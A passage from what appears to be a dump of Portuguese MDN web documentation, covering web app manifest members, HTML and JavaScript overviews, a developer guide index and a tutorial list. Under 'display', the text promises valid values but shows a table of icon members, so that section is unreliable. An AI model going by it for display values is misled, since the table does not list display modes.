\"48x48\",\n      \"type\": \"image/png\"\n    },\n    {\n      \"src\": \"images/touch/homescreen72.png\",\n      \"sizes\": \"72x72\",\n      \"type\": \"image/png\"\n    },\n    {\n      \"src\": \"images/touch/homescreen96.png\",\n      \"sizes\": \"96x96\",\n      \"type\": \"image/png\"\n    },\n    {\n      \"src\": \"images/touch/homescreen144.png\",\n      \"sizes\": \"144x144\",\n      \"type\": \"image/png\"\n    },\n    {\n      \"src\": \"images/touch/homescreen168.png\",\n      \"sizes\": \"168x168\",\n      \"type\": \"image/png\"\n    },\n    {\n      \"src\": \"images/touch/homescreen192.png\",\n      \"sizes\": \"192x192\",\n      \"type\": \"image/png\"\n    }\n  ],\n  \"related\\_applications\": [\n    {\n      \"platform\": \"web\"\n    },\n    {\n      \"platform\": \"play\",\n      \"url\": \"https://play.google.com/store/apps/details?id=cheeaun.hackerweb\"\n    }\n  ]\n}\n```\n\nMétodos\n-------\n\nManifest can contain the following keys:\n\n### background\\_color\n\nDefine a \"cor de fundo\" esperada para o website. Este valor repete o que já é disponível no CSS do site, mas pode ser usada por navegadores para desenhar cor de um atalho quando o manifesto estiver disponível antes que a folha de estilo (stylesheet) ter carregado. Isso cria uma transição suave entre a execução do aplicativo e o conteúdo do site.\n\n\n```json\n\"background\\_color\": \"red\"\n```\n\n\n**Nota:** O membro `background_color` tem o único intuito de melhorar a experiência de usuário enquanto o site apontado está carregando, e não deve ser usado pelo agente de usuário como o `background color` quando a folha de estilo do aplicativo web progressivo (PWA) estiver disponível.\n\n### description\n\nFornece uma descrição geral do que a aplicação faz.\n\n\n```json\n\"description\": \"O aplicativo que ajuda você a encontrar a melhor comida na cidade!\"\n```\n\n### dir\n\nEspecifica a direção primário do texto para os membros `name`, `short_name`, e `description`. Junto com o membro `lang` , ajuda a mostrar corretamente idiomas escritos da direita para esquerda.\n\n\n```json\n\"dir\": \"rtl\",\n\"lang\": \"ar\",\n\"short\\_name\": \"أنا من التطبيق!\"\n```\n\n\nPode ter um dos valores a seguir:\n\n* `ltr` (left-to-right)\n* `rtl` (right-to-left)\n* `auto` (hints to the browser to use the Unicode bidirectional algorithm to make a best guess about the text's direction.)\n\n**Nota:** When the value is omitted, it defaults to `auto`.\n\n### display\n\nDefine o modo de exibição preferido do desenvolvedor para a aplicação.\n\n\n```json\n\"display\": \"standalone\"\n```\n\n\nValid values are:\n\n| Member | Description |\n| --- | --- |\n| `sizes` | A string containing space-separated image dimensions. |\n| `src` | \n The path to the image file. If `src` is a relative URL, the\n base URL will be the URL of the manifest.\n  |\n| `type` | \n A hint as to the media type of the image. The purpose of this member is\n to allow a user agent to quickly ignore images of media types it does\n not support.\n  |\n| `purpose` | \n Defines the purpose of the image, for example that the image is\n intended to serve some special purpose in the context of the host OS\n (i.e., for better integration).\n\n\n The\n purpose member\n can have the following values:\n * \"**badge**\": A user agent can present this icon where\n space constraints and/or color requirements differ from those of the\n application icon.\n* \"**maskable**\": The image is designed with\n icon masks and safe zone\n in mind, such that any part of the image that is outside the safe\n zone can safely be ignored and masked away by the user agent.\n* \"**any**\": The user agent is free to display the icon\n in any context (this is the default value).\n |\n\n**Nota:** You can selectively apply CSS to your app based on the display mode, using the display-mode media feature. This can be used to provide a consistent user experience between launching a site from an URL and launching it from a desktop icon.\n\n### icons\n\nSpecifies an array of image objects that can serve as application icons in various contexts. For example, they can be used to represent the web application amongst a list of other applications, or to integrate the web application with an OS's task switcher and/or system preferences.\n\n\n```json\n\"icons\": [\n  {\n    \"src\": \"icon/lowres.webp\",\n    \"sizes\": \"48x48\",\n    \"type\": \"image/webp\"\n  },\n  {\n    \"src\": \"icon/lowres\",\n    \"sizes\": \"48x48\"\n  },\n  {\n    \"src\": \"icon/hd\\_hi.ico\",\n    \"sizes\": \"72x72 96x96 128x128 256x256\"\n  },\n  {\n    \"src\": \"icon/hd\\_hi.svg\",\n    \"sizes\": \"72x72\"\n  }\n]\n```\n\n\nObjetos de imagens podem conter os seguintes valores:\n\n| Member | Description |\n| --- | --- |\n| `sizes` | A string containing space-separated image dimensions. |\n| `src` | The path to the image file. |\n| `type` | A hint as to the media type of the image.The purpose of this member is to allow a user agent to quickly ignore images of media types it does not support. |\n\n### lang\n\nSpecifies the primary language for the values in the `name` and `short_name` members. This value is a string containing a single language tag.\n\n\n```json\n\"lang\": \"en-US\"\n```\n\n### name\n\nProvides a human-readable name for the application as it is intended to be displayed to the user, for example among a list of other applications or as a label for an icon.\n\n\n```json\n\"name\": \"Google I/O 2015\"\n```\n\n### orientation\n\nDefines the default orientation for all the web application's top level browsing contexts (en-US).\n\n\n```json\n\"orientation\": \"portrait-primary\"\n```\n\n\nOrientation pode ser um dos seguintes valores:\n\n* `any`\n* `natural`\n* `landscape`\n* `landscape-primary`\n* `landscape-secondary`\n* `portrait`\n* `portrait-primary`\n* `portrait-secondary`\n### prefer\\_related\\_applications\n\nSpecifies a boolean value that hints for the user agent to indicate to the user that the specified related applications (see below) are available, and recommended over the web application. This should only be used if the related native apps really do offer something that the web application can't do.\n\n\n```json\n\"prefer\\_related\\_applications\": false\n```\n\n\n**Nota:** If omitted, the value defaults to `false`.\n\n### related\\_applications\n\nSpecifies an array of \"application objects\" representing native applications that are installable by, or accessible to, the underlying platform — for example a native Android application obtainable through the Google Play Store. Such applications are intended to be alternatives to the web application that provide similar or equivalent functionality — like the native app version of the web app.\n\n\n```json\n\"related\\_applications\": [\n  {\n    \"platform\": \"play\",\n    \"url\": \"https://play.google.com/store/apps/details?id=com.example.app1\",\n    \"id\": \"com.example.app1\"\n  }, {\n    \"platform\": \"itunes\",\n    \"url\": \"https://itunes.apple.com/app/example-app1/id123456789\"\n  }]\n```\n\n\nApplication objects may contain the following values:\n\n| Member | Description |\n| --- | --- |\n| `platform` | The platform on which the application can be found. |\n| `url` | The URL at which the application can be found. |\n| `id` | The ID used to represent the application on the specified platform. |\n\n### scope\n\nDefines the navigation scope of this web application's application context. This basically restricts what web pages can be viewed while the manifest is applied. If the user navigates the application outside the scope, it returns to being a normal web page.\n\n\n```json\n\"scope\": \"/myapp/\"\n```\n\n### short\\_name\n\nProvides a short human-readable name for the application. This is intended for use where there is insufficient space to display the full name of the web application.\n\n\n```json\n\"short\\_name\": \"I/O 2015\"\n```\n\n### start\\_url\n\nSpecifies the URL that loads when a user launches the application from a device.\n\n\n```json\n\"start\\_url\": \"./?utm\\_source=web\\_app\\_manifest\"\n```\n\n### theme\\_color\n\nDefines the default theme color for an application. This sometimes affects how the application is displayed by the OS (e.g., on Android's task switcher, the theme color surrounds the application).\n\n\n```json\n\"theme\\_color\": \"aliceblue\"\n```\n\nSplash screens\n--------------\n\nIn Chrome 47 and later, a splash screen is displayed for a web application launched from a home screen. This splashscreen is auto-generated using properties in the web app manifest, specifically: `name`, `background_color`, and the icon in the `icons` array that is closest to 128dpi for the device.\n\nMime type\n---------\n\nManifests should be served using the `application/manifest+json` MIME type. However, it is optional to do so.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"HTML: Linguagem de Marcação de Hipertexto","text":"HTML: Linguagem de Marcação de Hipertexto\n=========================================\n\n**HTML** (Linguagem de Marcação de HiperTexto) é o bloco de construção mais básico da web. Define o significado e a estrutura do conteúdo da web. Outras tecnologias além do HTML geralmente são usadas para descrever a aparência/apresentação (CSS) ou a funcionalidade/comportamento (JavaScript) de uma página da web.\n\n\"Hipertexto\" refere-se aos *links* que conectam páginas da Web entre si, seja dentro de um único site ou entre sites. Links são um aspecto fundamental da web. Ao carregar conteúdo na Internet e vinculá-lo a páginas criadas por outras pessoas, você se torna um participante ativo na world wide web.\n\nO HTML usa \"Marcação\" para anotar texto, imagem e outros conteúdos para exibição em um navegador da Web. A marcação HTML inclui \"elementos\" especiais, como `<head>`, `<title>`, `<body>`, `<header>`, `<footer>`, `<article>`, `<section>`, `<p>`, `<div>`, `<span>`, `<img>`, `<aside>`, `<audio>`, `<canvas>`, `<datalist>`, `<details>`, `<embed>`, `<nav>`, `<output>`, `<progress>`, `<video>`, `<ul>`, `<ol>`, `<li>` e muitos outros.\n\nUm elemento HTML é separado de outro texto em um documento por \"tags\", que consistem no nome do elemento entre \"`<`\" e \"`>`\". O nome de um elemento dentro de uma tag é insensível a maiúsculas e minúsculas. Isto é, pode ser escrito em maiúsculas, minúsculas ou um mistura. Por exemplo, a tag `<title>` pode ser escrita como `<Title>`, `<TITLE>` ou de qualquer outra forma.\n\nOs artigos abaixo podem ajudá-lo a aprender mais sobre HTML.\n\n* Introdução ao HTML\n Se você é novo no desenvolvimento web, não deixe de ler nosso artigo O Básico do HTML para aprender o que é HTML e como usá-lo.\n* Tutoriais HTML\n Para artigos sobre como usar o HTML, assim como tutoriais e exemplos completos, confira nossa Área de Aprendizado de HTML.\n* Referência do HTML\n Em nossa extensa seção de Referência do HTML, você encontrará os detalhes sobre cada elemento e atributo do HTML.\nTutoriais para iniciantes\n-------------------------\n\nNossa Área de Aprendizado de HTML apresenta vários módulos que ensinam HTML desde o início — sem necessidade de conhecimento prévio.\n\nIntrodução ao HTML\n\nEste módulo fornece uma base de conhecimento, permitindo que você acostume-se com os conceitos e sintaxes importantes, tais como aplicar HTML para texto, como criar *hyperlinks* e como usar HTML para estruturar uma página web.\n\nMultimídia e como incorporá-la\n\nEste módulo explora como usar HTML para incluir multimídia em sua página web, incluindo as diferentes maneiras para incluir imagens, e como incorporar vídeos, áudios e até como colocar uma página inteira em outras páginas web.\n\nTabelas HTML\n\nRepresentar dados tabulares em uma página web de maneira entendível e acessível pode ser um desafio. Este módulo cobre marcação tabular básica, junto com outras funcionalidades mais complexas como legendas e sumários.\n\nFormulários HTML (en-US)\n\nFormulários são partes muito importantes na Web — proporcionam muitas das funcionalidades que você precisa para interagir em páginas web. Exemplos disso são registrar-se e conectar-se, enviar comentários, comprar produtos e muito mais. Este módulo lhe permite começar a criar as partes visíveis dos formulários, ou seja, as partes que os usuários interagem.\n\nUsando HTML para resolver problemas comuns\n\nApresenta links para seções com conteúdo explicando como usar HTML para resolver problemas muito comuns, quando se cria uma página web: como trabalhar com títulos, agregar imagens ou vídeos, colocar ênfase em conteúdo, criar um formulário básico, etc.\n\nTópicos avançados\n-----------------\n\nHabilitando Imagem CORS\n\nO atributo `crossorigin`, em combinação com um cabeçalho CORS adequado, permite definir imagens pelo elemento `<img>` para ser carregado de outras fontes em um elemento `<canvas>` como se estivessem sendo carregados da fonte atual.\n\nConfiguração de atributos CORS (en-US)\n\nAlguns elementos em HTML que suportam CORS (en-US), como por exemplo o `<img>` ou `<video>`, têm o atributo `crossorigin` (a propriedade `crossOrigin`), que permite configurar as requisições CORS para os dados recebidos pelo elemento.\n\nGerenciamento de foco em HTML (en-US)\n\nO atributo DOM `activeElement` e o método DOM `hasFocus()` lhe ajudam a melhorar a interação entre o usuário e os elementos da página.\n\nTipos de conexões (en-US)\n\nEm HTML, vários tipos de links podem ser utilizados para realizar conexões entre documentos, como por exemplo `<a>`, `<area>` e `<link>`.\n\nFormatos de arquivos suportados pelos elementos de áudio e vídeo em HTML (en-US)\n\nOs elementos `<audio>` e `<video>` permitem que você reproduza áudios e vídeos no seu HTML. Estes elementos fornecem uma alternativa nativa de recursos do navegador, parecidos com a do Adobe Flash Player e outros plug-ins.\n\nUsando o cachê de aplicação\n\nO cachê de aplicação tem como o objetivo executar a aplicação offline. Você pode usar a interface **Application Cache** (*AppCache*) para escolher elementos que o browser possa guardar, deixando-os disponíveis para usuários desconectados. As aplicações que forem armazenadas em cache podem ser utilizadas sem nenhum problema, mesmo que o usuário clique no botão de atualizar a página enquanto estiver offline.\n\nPré-carregando conteúdo com rel=\"preload\" (en-US)\n\nO valor `preload` do atributo `rel` do elemento `<link>` permite que você escreva solicitações de busca declarativas em seu elemento `<head>` do HTML, especificando recursos que suas páginas vão utilizar logo após o carregamento. Você também pode necessitar que estes recursos sejam pré-carregados ao início do ciclo de execução da página e depois que o mecanismo de renderização do navegador comece a agir. Isso garante que estarão disponíveis mais cedo e que seja menos provável que sua página seja bloqueada do processo de renderizar. Isso aumenta a performance da página. Este artigo oferece um guia básico de como `preload` funciona.\n\nReferências\n-----------\n\nReferência do HTML\n\nHTML é formado de **elementos**, onde cada um deles pode ser modificado por alguns **atributos**. Documentos HTML são interconectados através de links (en-US).\n\nReferência dos Elementos HTML\n\nNavegue em uma lista com todos os elementos HTML.\n\nReferência de atributos em HTML\n\nElementos em HTML possuem atributos. Estes configuram ou ajustam o funcionamento e o comportamento dos seus elementos de muitas maneiras.\n\nAtributos Globais\n\nOs atributos globais podem ser utilizados em todos os elementos HTML, *mesmo aqueles que não são especificados como padrão*. Isso significa que qualquer elemento não padrão vai permitir estes atributos, mesmo que este retorne um documento HTML5 incompatível.\n\nElementos em linha e Elementos em nível de bloco\n\nElementos HTML são normalmente elementos *inline* (em linha) ou *block-level* (em nível de bloco). Um elemento em linha ocupa somente o espaço limitado pelas tags que o definem. Um elemento em nível de bloco ocupa o espaço inteiro do elemento pai (container), portanto criando um bloco.\n\nTipos de Links (en-US)\n\nNo HTML, vários tipos de links podem ser utilizados para estabelecer e definir o relacionamento entre dois documentos. Os tipos de elementos de link que podem ser incluídos são `<a>`, `<area>` e `<link>`.\n\nFormatos de mídia suportados pelos elementos vídeo e áudio do HTML (en-US)\n\nOs elementos `<audio>` e `<video>` permitem que você reproduza mídias de áudio e vídeo. Estes elementos fornecem uma alternativa nativa para o navegador reproduzir recursos similares aos encontrados no Adobe Flash e outros plug-ins.\n\nTipos de conteúdo HTML (en-US)\n\nO HTML é composto de uma grande diversidade de conteúdos, e cada um pode ser usado em certos contextos e não ser permitido em outros. Da mesma forma, cada um tem um conjunto de outras categorias de conteúdos que podem ou não serem usadas dentro deles. Este é um guia destas categorias.\n\nOs Modos Quirks e o Modo Padrão\n\nInformações sobre a história dos Modos *Quirks* e o Modo padrão.\n\nTópicos relacionados\n--------------------\n\nAplicando cores em elementos HTML usando CSS\n\nEste artigo mostra as principais formas de se usar CSS para adicionar cores ao seu conteúdo HTML, mostrando que partes dos documentos HTML podem ser coloridas e quais propriedades utilizar. Inclui exemplos e links para ferramentas de *palette-building*, entre outros."}
{"title":"JavaScript","text":"JavaScript\n==========\n\n**JavaScript®** (às vezes abreviado para **JS**) é uma linguagem leve, interpretada e baseada em objetos com *funções de primeira classe,* mais conhecida como a linguagem de script para páginas Web, mas usada também em vários outros ambientes sem browser, tais como node.js, Apache CouchDB e Adobe Acrobat. O JavaScript é uma linguagem baseada em protótipos, multi-paradigma e dinâmica, suportando estilos de orientação a objetos, imperativos e declarativos (como por exemplo a programação funcional). Saiba mais sobre o JavaScript.\n\nEssa seção do site é dedicada à linguagem JavaScript e não às partes que são específicas para páginas Web e outros ambientes. Para mais informações sobre as APIs específicas para páginas Web, por favor consulte as seções Web APIs e DOM.\n\nO padrão JavaScript é ECMAScript. Desde 2012, todos os navegadores modernos possuem suporte total ao ECMAScript 5.1. Navegadores mais antigos suportam pelo menos ECMAScript 3. Em 17 de Junho de 2015, a ECMA International publicou a sexta versão do ECMAScript, que é oficialmente chamado de ECMAScript 2015, e foi inicialmente conhecido como ECMAScript 6 ou ES6. Desde então, as especificações do ECMAScript são lançadas anualmente. Essa documentação faz referência à última versão de referência, que atualmente é a ECMAScript 2018.\n\nNão se deve confundir o JavaScript com a linguagem de programação Java. Tanto *Java* quanto *JavaScript* são marcas registradas da Oracle nos Estados Unidos da América e em outros países. No entanto, as duas linguagens de programação possuem sintaxe, semânticas e usos muito diferentes.\n\nTutoriais\n---------\n\nAprenda a programar em JavaScript com guias e tutoriais.\n\n### Para iniciantes\n\nVá para a Área de aprendizado de JavaScript se você quer aprender JavaScript mas não tem experiência prévia com JavaScript ou programação. Os módulos completos que estão disponíveis lá são os seguintes:\n\nPrimeiros passos em JavaScript\n\nRespostas para algumas perguntas básicas como *O que é JavaScript?*, *Com o que se parece?* e *O que se pode fazer?*, bem como funcionalidades importantes do JavaScript, tais como variáveis, strings, números e vetores.\n\nElementos básicos do JavaScript\n\nContinuamos nossa cobertura das funcionalidades fundamentais do JavaScript, direcionando nossa atenção para tipos de blocos de código encontrados comumente, como expressões condicionais, laços, funções e eventos.\n\nIntroduzindo objetos em JavaScript\n\nO entendimento da natureza da orientação à objetos do JavaScript é importante se você quiser levar o seu conhecimento da linguagem para o próximo nível e escrever códigos mais eficientes, por isso oferecemos esse módulo para te ajudar.\n\n### Guia do JavaScript\n\nGuia do JavaScript\n\nUm guia muito mais detalhado sobre a linguagem JavaScript, para pessoas que possuem experiência prévia com JavaScript ou outra linguagem de programação.\n\n### Intermediário\n\nUma re-introdução ao JavaScript\n\nUma visão geral para aqueles que *pensam* que conhecem JavaScript.\n\nEstruturas de dados do JavaScript\n\nUm resumo das estruturas de dados disponíveis em JavaScript.\n\nComparações de igualdade e uniformidade\n\nO JavaScript fornece três operações diferentes para comparar valores: igualdade estrita utilizando `===`, igualdade ampla usando `==` e o método `Object.is()`.\n\n### Avançado\n\nHerança e a cadeia de protótipos\n\nExplicação da herança baseada em protótipos, que costuma ser amplamente mal entendida e subestimada.\n\nModo estrito\n\nO modo estrito define que você não pode usar nenhuma variável antes de inicializá-la. É uma variante restrita do ECMAScript 5, para um desempenho mais performático e uma depuração mais fácil.\n\nVetores JavaScript tipados\n\nVetores JavaScript tipados oferecem um mecanismo para acesso a dados binários brutos.\n\nGerenciamento de memória\n\nCiclo de vida da memória e coleta de lixo em JavaScript.\n\nModelo de concorrência e o loop de eventos\n\nJavaScript tem um modelo de concorrência baseado em *loop de eventos*.\n\nReferência\n----------\n\nNavegue pela documentação completa da Referência de JavaScript.\n\nObjetos globais\n\nConheça os objetos padrão nativos `Array`, `Boolean`, `Date`, `Error`, `Function`, `JSON`, `Math`, `Number`, `Object`, `RegExp`, `String`, `Map`, `Set`, `WeakMap` e `WeakSet`, entre outros.\n\nExpressões e operadores\n\nSaiba mais sobre o comportamento dos operadores de JavaScript `instanceof`, `typeof`, `new`, `this`, a precedência dos operadores e muito mais.\n\nInstruções e declarações\n\nSaiba como `do-while`, `for-in`, `for-of`, `try-catch`, `let`, `var`, `const`, `if-else`, `switch` e outras instruções e palavras-chave do JavaScript funcionam.\n\nFunções\n\nAprenda como trabalhar com funções em JavaScript para desenvolver suas aplicações.\n\nFerramentas & recursos\n----------------------\n\nFerramentas úteis para escrever e depurar seu código **JavaScript**.\n\nFerramentas do Firefox para desenvolvedores\n\nScratchpad, Web Console, JavaScript Profiler (en-US), Debugger e muito mais.\n\nJavaScript Shells (en-US)\n\nUm shell JavaScript permite que você teste rapidamente fragmentos de código JavaScript.\n\nTogetherJS\n\nColaboração fácil. Ao adicionar o TogetherJS ao seu site, seus usuários podem ajudar uns aos outros em tempo real!\n\nStack Overflow\n\nPerguntas do Stack Overflow com a tag *JavaScript*.\n\nVersões do JavaScript e notas de lançamento\n\nNavegue no histórico de funcionalidades do JavaScript e no status das implementações.\n\nJSFiddle\n\nEdite JavaScript, CSS e HTML e obtenha resultados em tempo real. Utilize recursos externos e colabore com sua equipe online."}
{"title":"Guia do desenvolvedor web","text":"Guia do desenvolvedor web\n=========================\n\n**Estes artigos fornecem informações para ajudá-lo a fazer uso de tecnologias e APIs específicas.**\n\nGuia do desenvolvedor HTML\n\n**HyperText Markup Language** **(HTML)** é a linguagem principal de praticamente todo o conteúdo da Web. Muito do que você vê na tela do seu navegador é descrito, fundamentalmente, em HTML.\n\nGuia do desenvolvedor CSS (en-US)\n\nCascading Style Sheets (CSS) é uma linguagem de folhas de estilo utilizada para descrever a apresentação de um documento escrito em HTML.\n\nDistribuição de áudio e vídeo (en-US)\n\nPodemos distribuir conteúdos de áudio e vídeo na web de muitas maneiras, estendendo de uma mídia 'estática' para streams adaptativas e vivas. Este artigo propõe explorar a variedade de mecanismos de distribuição de mídia baseados na web e sua compatibilidade com os navegadores mais populares.\n\nManipulação de áudio e vídeo (en-US)\n\nA beleza da web é que você pode combinar tecnologias para criar novas formas. Possuir áudio nativo e vídeo no navegador significa que você pode usar esses data streams com tecnologias semelhantes ao `<canvas>`, WebGL or Web Audio API para modificar o áudio e vídeo diretamente. Por exemplo, adicionando efeitos de reverb/compression ( ressonância/compressão) para áudios, ou filtros de grayscale/sepia (escala cinza/sépia) para vídeos. Esse artigo proporciona uma referência para explicar tudo o que você precisa para fazê-los.\n\nGuia de eventos do desenvolvedor (en-US)\n\nEventos referem-se tanto à um padrão de design, utilizado para o tratamento assíncrono de vários incidentes que ocorrem durante a vida de uma página web, como para a nomeação, caracterização, e uso de um largo número de ocorrências de diferentes tipos de mecanismos de entregadas da web\n\nAJAX\n\nAJAX é um termo que define um grupo de tecnologias que permitem as aplicações web realizarem rapidamente atualizações incrementais na interface do usuário sem ser necessário recarregar a página inteira do navegador. Isso faz com que a aplicação seja mais rápida e mais responsiva as ações do usuário.\n\nGráficos na Web\n\nWeb sites modernos e aplicativos, muitas vezes precisam apresentar gráficos de diferentes graus de satisfação.\n\nGuia para APIs da Web (en-US)\n\nUm lista de todas as APIs da Web e o que elas fazem.\n\nJavaScript\n\nJavaScript é uma poderosa linguagem de scripts utilizada para criar aplicativos para a Web.\n\nLocalizações e codificação de caracteres\n\nInternamente, navegadores processam texto como Unicode. Entretanto, uma forma de representar caracteres em termos de bytes (codificação de caracteres) deve ser utilizada para transferência de texto da rede para o navegador. A recomendação da especificação HTML é utilizar UTF-8 (que é capaz de representar todo o conteúdo Unicode). Independentemente da escolha da codificação, ela precisa ser declarada no conteúdo Web.\n\nDesenvolvimento Web móvel\n\nEsta página fornece uma visão geral de algumas das principais técnicas necessárias para projetar sites que funcionam bem em dispositivos móveis. Se você está procurando informações sobre o projeto Firefox OS da Mozilla, consulte a página Firefox OS. Ou você pode estar interessado em detalhes sobre Firefox para Android.\n\nAplicativos da web progressivos\n\nAplicações progressivas web(PWAs) usam modernas web APIs juntamente com a estratégia tradicional de aprimoramento progressivo para criar aplicações web multiplataforma. Esses aplicações funcionam em qualquer lugar e fornecem vários recursos que proporcionam as mesmas vantagens da experiência de usuário (UX) tal como em aplicações nativas. Este conjunto de guias informa tudo o que você precisa saber sobre PWAs.\n\nOtimização e desempenho\n\nAo construir aplicativos e sites Web modernos, é importante fazer o seu conteúdo funcionar de forma rápida e eficiente. Isso o torna efetivo tanto em poderosos dispositivos Desktop quanto em outros mais fracos como um celular.\n\n*Analisando e serializando XML* (en-US)\n\nA plataforma Web oferece diferentes métodos de *parsing* e *serializing* de XML, cada um com suas próprias vantagens e desvantagens.\n\nO Web Open Font Format (WOFF) (en-US)\n\n**WOFF** (**Web Open Font Format**) é um formato de arquivo para fontes que é livre para qualquer um usar.\n\nUsando Objetos FormData (en-US)\n\nO objeto `FormData` permite compilar um conjunto de pares de chave / valor para enviar usando XMLHttpRequest. É destinado principalmente para o envio de dados do formulário, mas pode ser utilizado de forma independente destes a fim de transmitir dados. A transmissão é realizada no mesmo formato que o método do formulário `submit()` iria usar para enviar os dados se o tipo de forma de codificação fosse definido como \"multipart / form-data\".\n\nGlossário\n\nDefine vários termos técnicos relacionados à Web e Internet.\n\nVeja também\n-----------\n\n* Referência do desenvolvedor web (en-US)"}
{"title":"Otimização e Performance","text":"Otimização e Performance\n========================\n\nQuando construímos aplicações para web e sites modernos, é importante fazer seu conteúdo funcionar bem. Isso é, faze-lo funcionar eficientemente e rápido. Isso permite que ele funcione com eficaz tanto para usuários de computadores mais poderosos quanto para dispositivos portáteis com menos poder. Existem diversas ferramentas disponíveis para checar a performance de um site ou blog. As mais notáveis seguem abaixo:\n\nOs recursos acima também incluem as melhores práticas de performance web. Fazer da performance web uma prioridade ao considera-la durante o processo de desenvolvimento é importante para assegurar que os usuários tenham a melhor experiência possível."}
{"title":"Tutoriais","text":"Tutoriais\n=========\n\nOs links nesta página levam a uma variedade de tutoriais e materiais de treinamento. **Se você está apenas começando, aprendendo o básico ou é um veterano em desenvolvimento web, aqui você pode encontrar recursos úteis, bem como as melhores práticas**. Esses recursos são criados por empresas com visão de futuro e desenvolvedores que adotaram padrões e boas práticas para desenvolvimento na web, e que fornecem e permitem diferentes interpretações de acordo com a solução adotada pelo usuário, tudo isso através de uma licença de conteúdo aberto, como é o caso da Creative Commons.\n\nPara nível iniciante da Web\n---------------------------\n\nIniciando com a Web\n\n*Iniciando com a Web* é uma séria concisa que apresenta a você os aspectos práticos do desenvolvimento web. Você configurará as ferramentas que você precisa para construir uma página web simples e publicará seu próprio código simples.\n\nTutoriais de HTML\n-----------------\n\n### Nível inicial\n\nIntrodução ao HTML\n\nEste módulo lhe dá a base necessária, levando-o a fazer uso de conceitos e sintaxe fundamentais e ensinando como aplicar HTML ao texto, bem como criar *hiperlinks* e fazer uso do HTML para estruturar uma página da web.\n\n**Referência de Elementos HTML da MDN**\n\nUma referência abrangente para elementos HTML e como são suportados pelos diferentes navegadores.\n\n**Criando uma Página Web simples com HTML** (The Blog Starter)\n\nUm guia HTML para iniciantes que inclui explicações de *tags* comums, incluindo tags HTML5. Também inclui um guia passo a passo sobre como criar uma página da web com exemplos de códigos já usados.\n\n**Guia do Iniciante em HTML (Website Setup)**\n\nEste guia para iniciantes em HTML ensina você como configurar um website básico usando HTML e as novas tags HTML5. Um tutorial passo a passo com imagens e recursos que você pode usar para melhorar suas habilidades de codificação.\n\n**Desafio HTML (Wikiversity)**\n\nUse esses desafios para aprimorar suas habilidades em HTML (como por exemplo, *Eu devo usar um elemento <h2> ou um elemento <strong>?*), focando numa melhor produtividade.\n\n### Nível Intermediário\n\nMultimídia e Incorporação\n\nEste módulo explora como usar HTML para adicionar multimídia em suas páginas web, incluindo as diferentes maneiras pelas quais as imagens podem ser adicionadas, e como incorporar vídeo, áudio e até outras páginas web inteiras.\n\nTabelas em HTML\n\nRepresentar dados de tabela em uma página da Web de um modo compreensível e acessível pode ser um desafio. Este módulo abrange a marcação básica da tabela, juntamente com recursos mais complexos como a implementação de legendas e resumos.\n\n### Nível avançado\n\nFormulários em HTML (HTML forms) (en-US)\n\nFormulários são uma parte muito importante da Web - fornecem grande parte das funcionalidades que você precisa para interagir com sites da Web, como por exemplo registrando e efetuando login, enviando comentários, comprando produtos e muito mais. Este módulo começa com a criação de formulários da parte do cliente.\n\n**Dicas para criar páginas HTML de carregamento rápido (en-US)**\n\nOtimize páginas da web para fornecer um site mais receptivo para visitantes e reduzir a carga em seu servidor web juntamente com a conexão com a Internet.\n\nTutoriais CSS\n-------------\n\n### Nível inicial\n\nCSS Básico (en-US)\n\nCSS (Cascading Style Sheets) é o código que você usa para pôr estilo em suas páginas web. *CSS Básico* traz o que você precisa para começar. Nós responderemos questões como: Como eu faço meu texto preto ou vermelho? Como eu faço meu conteúdo aparecer neste ou naquele lugar da tela? Como eu decoro minha página web com imagens e cores de fundo?\n\nIntrodução ao CSS (en-US)\n\nEste módulo vai a fundo em como o CSS trabalha, incluíndo seletores e propriedades, escrevendo regras CSS, aplicando CSS no HTML, como especificar cores e outras unidades em CSS, herança em cascata, modelos de *boxes* e *debug* em CSS.\n\nEstilizando *Boxes* (en-US)\n\nA seguir nós veremos em estilização *boxes* (caixas), um dos passos fundamentais para a apresentação de uma página web. Neste módulo nós recapitulamos o modelo de caixa, em seguida olhamos para o controle de layouts de caixas, configurando preenchimento, bordas e margens, definindo cores de fundo personalizadas, imagens e outros recursos e recursos extravagantes, como sombras e filtros de *boxes*.\n\nEstilizando texto\n\nAqui nós olhamos para fundamentos de estilização de texto, incluíndo configuração de fonte, negritos, itálicos, espaçamento de linha e letras, sombras e outros recursos de texto. Nós completamos o módulo analizando a aplicação de fontes customizadas em sua página e estilizando listas e *links*.\n\n**Questões comuns de CSS (en-US)**\n\nPerguntas e respostas comuns para iniciantes.\n\n### Nível intermediário\n\nCSS layout\n\nAté este ponto nós vimos CSS básico, como estilizar texto e como formatar e manipular caixas dentro do seu conteúdo. Agora veremos como colocar suas caixas no lugar certo em relação à *viewport* e vice-versa. Nós já cobrimos os pré-requisitos, então agora podemos mergulhar profundamente no *layout* CSS, olhando para diferentes configurações de tela, métodos de *layout* tradicionais envolvendo flutuação e posicionamento e novas ferramentas de *layout* como o *flexbox*.\n\n**Referência CSS**\n\nReferência completa de CSS, com detalhes e suporte pelo Firefox e outros navegadores.\n\n**Grades Fluídas (Uma lista a parte)**\n\n*Layouts* de *design* que redimensionam fluidamente com a janela do navegador, enquanto ainda estiver usando uma grade tipográfica.\n\n**Desafios CSS (Wikiversity)**\n\nDar uma maior flexibilidade nas suas habilidades de utilização do CSS e ver onde você precisa de mais prática.\n\n### Nível avançado\n\n**Usando transformações CSS**\n\nAplique rotação, inclinação, escala e translação utilizando CSS.\n\n**CSS Transições (en-US)**\n\nTransições CSS, parte do projecto de especificação CSS3, fornecem uma maneira de animar as alterações nas propriedades CSS, ao invés de executar as alterações imediatamente.\n\n**Guia Rápido para implementar Fontes da Web com @font-face (HTML5 Rocks)**\n\nO recurso @font-face do CSS3 permite que você use fontes personalizadas na web de uma forma acessível, manipulável e escalável.\n\n**Começando a escrever CSS (David Walsh)**\n\nUma introdução às ferramentas e metodologias para escrever CSS mais sucinto, sustentável e escalável.\n\nTutorial Canvas\n\nAprenda a desenhar gráficos usando *scripts* e usando o elemento `canvas`.\n\n**HTML5 Doctor**\n\nArtigos sobre o uso de HTML5.\n\nTutoriais Javascript\n--------------------\n\n### Nível iniciante\n\nPrimeiros passos em JavaScript\n\nEm nosso primeiro módulo JavaScript, nós respondemos algumas questões fundamentais como *O que é JavaScript?*, *Com o que se parece?* e *O que se pode fazer com ele?* antes de avançar para levá-lo através da sua primeira experiência prática de escrever JavaScript. Depois disso, discutimos detalhadamente alguns recursos chaves de JavaScript, como variáveis, strings, números e 